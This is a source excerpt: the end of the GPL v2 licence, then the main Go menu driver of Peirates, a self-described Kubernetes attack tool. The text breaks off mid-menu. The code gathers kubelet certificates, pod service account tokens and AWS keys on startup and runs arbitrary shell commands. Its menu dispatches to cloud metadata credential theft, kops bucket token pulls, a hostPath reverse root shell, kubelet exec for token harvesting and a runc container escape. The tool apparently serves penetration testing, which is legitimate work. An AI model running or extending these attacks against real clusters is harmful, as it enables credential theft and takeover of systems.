distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /peirates.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | // Peirates - an Attack tool for Kubernetes clusters 4 | 5 | import ( 6 | "errors" 7 | "fmt" 8 | "io" 9 | 10 | "os" 11 | "os/exec" 12 | "strings" 13 | 14 | "github.com/ergochat/readline" 15 | ) 16 | 17 | // Verbosity mode - if set to true, DEBUG messages will be printed to STDOUT. 18 | var Verbose bool 19 | 20 | // If this option is on, kubectl commands will be preceded with an auth can-i 21 | // check. Note that this only checks against RBAC, such that admission 22 | // controllers can still block an action that RBAC permits. 23 | var UseAuthCanI bool = true 24 | 25 | //------------------------------------------------------------------------------------------------------------------------------------------------ 26 | 27 | // Main starts Peirates[] 28 | func Main() { 29 | // Peirates version string 30 | var version = "1.1.28" 31 | 32 | var err error 33 | 34 | // Set up main menu tab completion 35 | var completer *readline.PrefixCompleter = setUpCompletionMainMenu() 36 | 37 | // Menu detail level 38 | // - true: the "full" menu that Peirates had classically 39 | // - false: a shorter menu of options - all options still work, but not all are shown 40 | var fullMenu bool = true 41 | 42 | // AWS credentials currently in use. 43 | var awsCredentials AWSCredentials 44 | 45 | // Make room for an assumed role. 46 | var assumedAWSrole AWSCredentials 47 | 48 | detectCloud := populateAndCheckCloudProviders() 49 | 50 | // Create a global variable named "connectionString" initialized to default values 51 | connectionString := ImportPodServiceAccountToken() 52 | cmdOpts := CommandLineOptions{connectionConfig: &connectionString} 53 | 54 | // the interactive boolean tracks whether the user is running peirates in menu mode (true) 55 | // or in command-line mode (false) 56 | 57 | interactive := true 58 | 59 | // Output file logging - new stealth feature 60 | var logToFile = false 61 | var outputFileName string 62 | 63 | // Struct for some functions 64 | var podInfo PodDetails 65 | 66 | // Run the option parser to initialize connectionStrings 67 | parseOptions(&cmdOpts) 68 | 69 | // Check whether the -m / --module flag has been used to run just a specific module instead 70 | // of the menu. 71 | if cmdOpts.moduleToRun != "" { 72 | interactive = false 73 | } 74 | 75 | // List of service accounts gathered so far 76 | var serviceAccounts []ServiceAccount 77 | if len(connectionString.TokenName) > 0 { 78 | AddNewServiceAccount(connectionString.TokenName, connectionString.Token, "Loaded at startup", &serviceAccounts) 79 | } 80 | 81 | // List of current client cert/key pairs 82 | clientCertificates := []ClientCertificateKeyPair{} 83 | 84 | // FEATURE to Write: store discovered namespaces, using multiple methods for gathering them. 85 | // namespaces := []string 86 | 87 | // print the banner, so that any node credentials pulled are not out of place. 88 | printBanner(interactive, version) 89 | 90 | // Add the kubelet kubeconfig and authentication information if available. 91 | err = checkForNodeCredentials(&clientCertificates, &connectionString) 92 | if err != nil { 93 | println("Problem with credentials: %v", err) 94 | } 95 | // If there are client certs, but no service accounts, switch to the first client cert 96 | if (len(serviceAccounts) == 0) && (len(clientCertificates) > 0) { 97 | assignAuthenticationCertificateAndKeyToConnection(clientCertificates[0], &connectionString) 98 | } 99 | 100 | // Add the service account tokens for any pods found in /var/lib/kubelet/pods/. 101 | gatherPodCredentials(&serviceAccounts, interactive, false) 102 | 103 | // If there are no client certs, and if our current context does not name a service account, switch 104 | // to the first service account. 105 | if (len(clientCertificates) == 0) && (len(serviceAccounts) > 0) { 106 | assignServiceAccountToConnection(serviceAccounts[0], &connectionString) 107 | } 108 | 109 | // Check environment variables - see KUBERNETES_SERVICE_HOST and KUBERNETES_SERVICE_PORT 110 | // Watch the documentation on these variables for changes: 111 | // https://kubernetes.io/docs/concepts/containers/container-environment-variables/ 112 | 113 | // Read AWS credentials from environment variables if present. 114 | awsCredentials = PullIamCredentialsFromEnvironmentVariables() 115 | 116 | // Collect the pod IP address if we are in a pod or on a node that has an eth0 interface. 117 | eth0IP, err := GetMyIPAddress("eth0") 118 | if err != nil { 119 | eth0IP = "" 120 | } 121 | 122 | var input int 123 | for ok := true; ok; ok = (input != 2) { 124 | banner(connectionString, detectCloud, eth0IP, awsCredentials, assumedAWSrole) 125 | 126 | var input string 127 | 128 | l, err := readline.NewEx(&readline.Config{ 129 | Prompt: "\033[31m»\033[0m ", 130 | HistoryFile: "/tmp/peirates.history", 131 | AutoComplete: completer, 132 | InterruptPrompt: "^C", 133 | EOFPrompt: "exit", 134 | 135 | HistorySearchFold: true, 136 | // FuncFilterInputRune: filterInput, 137 | }) 138 | if err != nil { 139 | panic(err) 140 | } 141 | defer l.Close() 142 | // l.CaptureExitSignal() 143 | 144 | err = errors.New("empty") 145 | 146 | if interactive { 147 | printMenu(fullMenu) 148 | 149 | // input, err = ReadLineStripWhitespace() 150 | line, err := l.Readline() 151 | if err == readline.ErrInterrupt { 152 | if len(line) == 0 { 153 | break 154 | } else { 155 | continue 156 | } 157 | } else if err == io.EOF { 158 | break 159 | } 160 | input = strings.TrimSpace(line) 161 | 162 | if err != nil { 163 | continue 164 | } 165 | } else { 166 | fmt.Println("----------------------------------------------------------------") 167 | input = cmdOpts.moduleToRun 168 | fmt.Printf("\nAttempting menu option %s\n\n", input) 169 | } 170 | 171 | //////////////////////////////////////////////////////////////////////////////// 172 | // REFACTOR ADVICE: Make these next few use a loop with items like this: 173 | // 174 | // items["kubectl "] = &handleKubectlSpace() 175 | //////////////////////////////////////////////////////////////////////////////// 176 | 177 | // Handle kubectl commands before the switch menu. 178 | const kubectlSpace = "kubectl " 179 | if strings.HasPrefix(input, kubectlSpace) { 180 | 181 | // remove the kubectl, then split the rest on whitespace 182 | argumentsLine := strings.TrimPrefix(input, kubectlSpace) 183 | arguments := strings.Fields(argumentsLine) 184 | 185 | kubectlOutput, _, err := runKubectlSimple(connectionString, arguments...) 186 | kubectlOutputString := string(kubectlOutput) 187 | outputToUser(kubectlOutputString, logToFile, outputFileName) 188 | 189 | // Note that we got an error code, in case it's the only output. 190 | if err != nil { 191 | println("[-] error returned running: ", input) 192 | } 193 | 194 | // Make sure not to go into the switch-case 195 | pauseToHitEnter(interactive) 196 | continue 197 | } 198 | 199 | // Handle kubectl-try-all requests 200 | const kubectlTryAllSpace = "kubectl-try-all " 201 | if strings.HasPrefix(input, kubectlTryAllSpace) { 202 | 203 | // remove the kubectl-try-all, then split the rest on whitespace 204 | argumentsLine := strings.TrimPrefix(input, kubectlTryAllSpace) 205 | arguments := strings.Fields(argumentsLine) 206 | 207 | _, _, err := attemptEveryAccount(false, &connectionString, &serviceAccounts, &clientCertificates, logToFile, outputFileName, arguments...) 208 | 209 | // Note that we got an error code, in case it's the only output. 210 | if err != nil { 211 | println("[-] Could not perform action or received an error on: ", input) 212 | } 213 | 214 | // Make sure not to go into the switch-case 215 | pauseToHitEnter(interactive) 216 | continue 217 | } 218 | 219 | // Handle kubectl-try-all-until-success requests 220 | const kubectlTryAllUntilSuccessSpace = "kubectl-try-all-until-success " 221 | if strings.HasPrefix(input, kubectlTryAllUntilSuccessSpace) { 222 | 223 | // remove the kubectl-try-all, then split the rest on whitespace 224 | argumentsLine := strings.TrimPrefix(input, kubectlTryAllUntilSuccessSpace) 225 | arguments := strings.Fields(argumentsLine) 226 | 227 | _, _, err := attemptEveryAccount(true, &connectionString, &serviceAccounts, &clientCertificates, logToFile, outputFileName, arguments...) 228 | 229 | // Note that we got an error code, in case it's the only output. 230 | if err != nil { 231 | println("[-] Could not perform action or received an error on: ", input) 232 | } 233 | 234 | // Make sure not to go into the switch-case 235 | pauseToHitEnter(interactive) 236 | continue 237 | } 238 | 239 | // 240 | // Handle built-in filesystem commands before the switch menu 241 | // 242 | 243 | const pwd = "pwd" 244 | if input == pwd { 245 | // Print the current working directory 246 | cwd, error := getCurrentDirectory() 247 | if error != nil { 248 | println("Error getting current directory: " + error.Error()) 249 | continue 250 | } 251 | println(cwd) 252 | pauseToHitEnter(interactive) 253 | continue 254 | } 255 | 256 | const cdSpace = "cd " 257 | if strings.HasPrefix(input, cdSpace) { 258 | 259 | // Trim off the newline - should we do this for all input anyway? 260 | input = strings.TrimSuffix(input, "\n") 261 | // Trim off the cd, then grab the argument. 262 | // This will fail if there are spaces in the directory name - TODO: improve this. 263 | argumentsLine := strings.TrimPrefix(input, cdSpace) 264 | arguments := strings.Fields(argumentsLine) 265 | directory := arguments[0] 266 | // remove the cd, then try to change to that directory 267 | changeDirectory(directory) 268 | 269 | // Get the new directory and print its name 270 | cwd, error := getCurrentDirectory() 271 | if error != nil { 272 | println("Error getting current directory: " + error.Error()) 273 | continue 274 | } 275 | println(cwd) 276 | 277 | pauseToHitEnter(interactive) 278 | continue 279 | } 280 | 281 | // cat to display files 282 | const catSpace = "cat " 283 | if strings.HasPrefix(input, catSpace) { 284 | // Trim off the newline - should we do this for all input anyway? 285 | input = strings.TrimSuffix(input, "\n") 286 | // remove the cat, then split the rest on whitespace 287 | argumentsLine := strings.TrimPrefix(input, catSpace) 288 | spaceDelimitedSet := strings.Fields(argumentsLine) 289 | for _, file := range spaceDelimitedSet { 290 | err := displayFile(file) 291 | if err != nil { 292 | println("Error displaying file: " + file + " due to " + err.Error()) 293 | } 294 | } 295 | pauseToHitEnter(interactive) 296 | continue 297 | } 298 | 299 | // ls to list directories - treat this differently if it has no arguments 300 | 301 | const lsSpace = "ls " 302 | if strings.HasPrefix(input, lsSpace) { 303 | // Trim off the newline - should we do this for all input anyway? 304 | input = strings.TrimSuffix(input, "\n") 305 | // remove the ls, then split the rest on whitespace 306 | argumentsLine := strings.TrimPrefix(input, lsSpace) 307 | spaceDelimitedSet := strings.Fields(argumentsLine) 308 | for _, dir := range spaceDelimitedSet { 309 | // Check for flags - reject them 310 | if strings.HasPrefix(dir, "-") { 311 | println("ERROR: Flags are not supported in this version of ls.") 312 | continue 313 | } 314 | err := listDirectory(dir) 315 | if err != nil { 316 | println("Error listing directory: " + dir + " due to " + err.Error()) 317 | } 318 | } 319 | pauseToHitEnter(interactive) 320 | continue 321 | } 322 | 323 | // ls with no arguments means list the current directory 324 | const ls = "ls" 325 | if strings.HasPrefix(input, ls) { 326 | error := listDirectory(".") 327 | if error != nil { 328 | println("Error listing directory: " + error.Error()) 329 | } 330 | pauseToHitEnter(interactive) 331 | continue 332 | } 333 | 334 | // Handle shell commands before the switch menu 335 | const shellSpace = "shell " 336 | const shell = "shell" 337 | // Handle when the user doesn't know to put a command after "shell" 338 | if input == shell { 339 | println("Enter a command or type 'exit'") 340 | input, err = ReadLineStripWhitespace() 341 | if err != nil { 342 | println("error in reading input" + err.Error()) 343 | continue 344 | } 345 | input = shellSpace + input 346 | } 347 | 348 | if strings.HasPrefix(input, shellSpace) { 349 | 350 | // trim the newline, remove the shell, then split the rest on whitespace 351 | input = strings.TrimSuffix(input, "\n") 352 | 353 | for input != "" && input != "exit" { 354 | argumentsLine := strings.TrimPrefix(input, shellSpace) 355 | spaceDelimitedSet := strings.Fields(argumentsLine) 356 | 357 | // pop the first item so we can pass it in separately 358 | command, arguments := spaceDelimitedSet[0], spaceDelimitedSet[1:] 359 | 360 | /* #gosec G204 - this code is intended to run arbitrary commands for the user */ 361 | cmd := exec.Command(command, arguments...) 362 | out, err := cmd.CombinedOutput() 363 | outputToUser(string(out), logToFile, outputFileName) 364 | 365 | if err != nil { 366 | println("running command failed with " + err.Error()) 367 | } 368 | println("Enter another command or type 'exit'") 369 | input, err = ReadLineStripWhitespace() 370 | if err != nil { 371 | println("error in reading input") 372 | input = "exit" 373 | } 374 | } 375 | 376 | // Make sure not to go into the switch-case 377 | continue 378 | } 379 | 380 | const curlSpace = "curl " 381 | if strings.HasPrefix(input, curlSpace) { 382 | // remove the curl, then split the rest on whitespace 383 | argumentsLine := strings.TrimPrefix(input, curlSpace) 384 | arguments := strings.Fields(argumentsLine) 385 | 386 | // Pass the arguments to the curlNonWizard to construct a request object. 387 | request, https, ignoreTLSErrors, caCertPath, err := curlNonWizard(arguments...) 388 | if err != nil { 389 | println("Could not create request.") 390 | pauseToHitEnter(interactive) 391 | continue 392 | } 393 | responseBody, err := DoHTTPRequestAndGetBody(request, https, ignoreTLSErrors, caCertPath) 394 | if err != nil { 395 | println("Request produced an error.") 396 | } 397 | 398 | outputToUser(string(responseBody), logToFile, outputFileName) 399 | 400 | pauseToHitEnter(interactive) 401 | continue 402 | } 403 | 404 | // Handle outputfile commands before the switch menu 405 | 406 | // Activate via "outputfile " 407 | const outputFile = "outputfile " 408 | if strings.HasPrefix(input, outputFile) { 409 | // remove the outputfile prefix, then get a filename from the rest 410 | input = strings.TrimPrefix(input, outputFile) 411 | 412 | // confirm that outputfile only has one argument. 413 | if strings.Contains(input, " ") { 414 | println("Output file name must not contain spaces.") 415 | pauseToHitEnter(interactive) 416 | continue 417 | } 418 | 419 | // Set the output file to that argument and set logToFile to true. 420 | logToFile = true 421 | outputFileName = input 422 | println("Output file set to: " + outputFileName) 423 | 424 | // If there is no argument, set logToFile to false. 425 | pauseToHitEnter(interactive) 426 | continue 427 | } 428 | 429 | // Deactivate via "outputfile" 430 | const outputFileBare = "outputfile" 431 | if strings.HasPrefix(input, outputFileBare) { 432 | println("Output file name is empty - deactivating output to file.") 433 | logToFile = false 434 | pauseToHitEnter(interactive) 435 | continue 436 | } 437 | 438 | // Handle enumerate-dns before the interactive menu 439 | // const enumerateDNS = "enumerate-dns" 440 | // if strings.HasPrefix(input, enumerateDNS) { 441 | // // Run the DNS enumeration 442 | // enumerateDNS() 443 | // pauseToHitEnter(interactive) 444 | // continue 445 | // } 446 | 447 | // Peirates MAIN MENU 448 | switch input { 449 | 450 | // exit 451 | case "exit", "quit": 452 | os.Exit(0) 453 | 454 | // [0] Run a kubectl command in the current namespace, API server and service account context 455 | case "0", "90", "kubectl": 456 | _ = kubectl_interactive(connectionString, logToFile, outputFileName) 457 | 458 | // [1] List, maintain, or switch service account contexts [sa-menu] (try: list-sa *, switch-sa, get-sa) 459 | case "switchsa", "saswitch", "switch-sa", "sa-switch": 460 | switchServiceAccounts(serviceAccounts, &connectionString, logToFile, outputFileName) 461 | case "listsa", "list-sa", "salist", "sa-list", "get-sa": 462 | listServiceAccounts(serviceAccounts, connectionString, logToFile, outputFileName) 463 | case "1", "sa-menu", "service-account-menu", "sa", "service-account": 464 | saMenu(&serviceAccounts, &connectionString, interactive, logToFile, outputFileName) 465 | case "decode-jwt", "decode-sa", "decodejwt", "decodesa": 466 | decodeTokenInteractive(serviceAccounts, &connectionString, logToFile, outputFileName, interactive) 467 | 468 | // [2] List and/or change namespaces [ns-menu] (try: list-ns, switch-ns, get-ns) 469 | case "list-ns", "listns", "nslist", "ns-list", "get-ns", "getns": 470 | listNamespaces(connectionString) 471 | case "switch-ns", "switchns", "nsswitch", "ns-switch": 472 | menuSwitchNamespaces(&connectionString) 473 | case "2", "ns-menu", "namespace-menu", "ns", "namespace": 474 | interactiveNSMenu(&connectionString) 475 | 476 | // [3] Get list of pods 477 | case "3", "get-pods", "list-pods": 478 | printListOfPods(connectionString) 479 | 480 | //[4] Get complete info on all pods (json) 481 | case "4", "dump-podinfo", "dump-pod-info": 482 | GetPodsInfo(connectionString, &podInfo) 483 | 484 | // [6] Enter AWS IAM credentials manually [aws-enter-credentials] 485 | case "6", "enter-aws-credentials", "aws-enter-credentials", "aws-creds": 486 | credentials, err := EnterIamCredentialsForAWS() 487 | if err != nil { 488 | println("[-] Error entering AWS credentials: ", err) 489 | break 490 | } 491 | 492 | awsCredentials = credentials 493 | println(" New AWS credentials are: \n") 494 | DisplayAWSIAMCredentials(awsCredentials) 495 | 496 | // [7] Attempt to Assume a Different AWS Role [aws-assume-role] 497 | case "7", "aws-assume-role": 498 | assumeAWSrole(awsCredentials, &assumedAWSrole, interactive) 499 | 500 | // [8] Deactivate assumed AWS role [aws-empty-assumed-role] 501 | case "8", "aws-empty-assumed-role", "empty-aws-assumed-role": 502 | assumedAWSrole.AccessKeyId = "" 503 | assumedAWSrole.accountName = "" 504 | 505 | // [9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu] 506 | case "9", "cert-menu": 507 | certMenu(&clientCertificates, &connectionString, interactive) 508 | 509 | // [10] List secrets in this namespace from API server [list-secrets, get-secrets] 510 | case "10", "list-secrets", "get-secrets": 511 | listSecrets(&connectionString) 512 | 513 | // [11] Get a service account token from a secret 514 | case "11", "get-secret", "secret-to-sa": 515 | getServiceAccountTokenFromSecret(connectionString, &serviceAccounts, interactive) 516 | 517 | // [5] Check all pods for volume mounts 518 | case "5", "find-volume-mounts", "find-mounts": 519 | findVolumeMounts(connectionString, &podInfo) 520 | 521 | // [20] Gain a reverse rootshell by launching a hostPath / pod 522 | case "20", "attack-pod-hostpath-mount", "attack-hostpath-mount", "attack-pod-mount", "attack-hostmount-pod", "attack-mount-pod": 523 | attackHostPathMount(connectionString, interactive) 524 | 525 | // [12] Request IAM credentials from AWS Metadata API [AWS only] 526 | case "12", "get-aws-token", "aws-get-token": 527 | result, err := getAWSToken(interactive) 528 | if err != nil { 529 | awsCredentials = result 530 | } 531 | 532 | // [13] Request IAM credentials from GCP Metadata API [GCP only] 533 | case "13", "get-gcp-token", "gcp-get-token": 534 | 535 | getGCPToken(interactive) 536 | 537 | // [14] Request kube-env from GCP Metadata API [GCP only] 538 | case "14", "attack-kube-env-gcp", "gcp-attack-kube-env": 539 | attackKubeEnvGCP(interactive) 540 | 541 | // [15] Pull Kubernetes service account tokens from Kop's bucket in GCS [GCP only] 542 | case "15", "attack-kops-gcs-1", "gcp-attack-kops-1": 543 | err := KopsAttackGCP(&serviceAccounts) 544 | if err != nil { 545 | println("Kops attack failed on GCP.") 546 | } 547 | pauseToHitEnter(interactive) 548 | 549 | // [16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [aws-attack-kops-1] 550 | case "16", "attack-aws-kops-1", "aws-attack-kops-1": 551 | KopsAttackAWS(&serviceAccounts, awsCredentials, assumedAWSrole, interactive) 552 | 553 | case "17", "aws-s3-ls", "aws-ls-s3", "ls-s3", "s3-ls": 554 | 555 | // [17] List AWS S3 Buckets accessible (Auto-Refreshing Metadata API credentials) [AWS] 556 | awsS3ListBucketsMenu(awsCredentials, assumedAWSrole) 557 | 558 | case "18", "aws-s3-ls-objects", "aws-s3-list-objects", "aws-s3-list-bucket": 559 | 560 | // [18] List contents of an AWS S3 Bucket [AWS] 561 | awsS3ListBucketObjectsMenu(awsCredentials, assumedAWSrole) 562 | 563 | // [21] Run command in one or all pods in this namespace 564 | case "21", "exec-via-api": 565 | 566 | execInPodMenu(connectionString, interactive) 567 | 568 | // [22] Use the kubelet to gain the token in every pod where we can run a command 569 | case "22", "exec-via-kubelet", "exec-via-kubelets": 570 | ExecuteCodeOnKubelet(connectionString, &serviceAccounts) 571 | 572 | // [23] Use CVE-2024-21626 (Leaky Vessels) to get a shell on the host (runc versions <1.12) 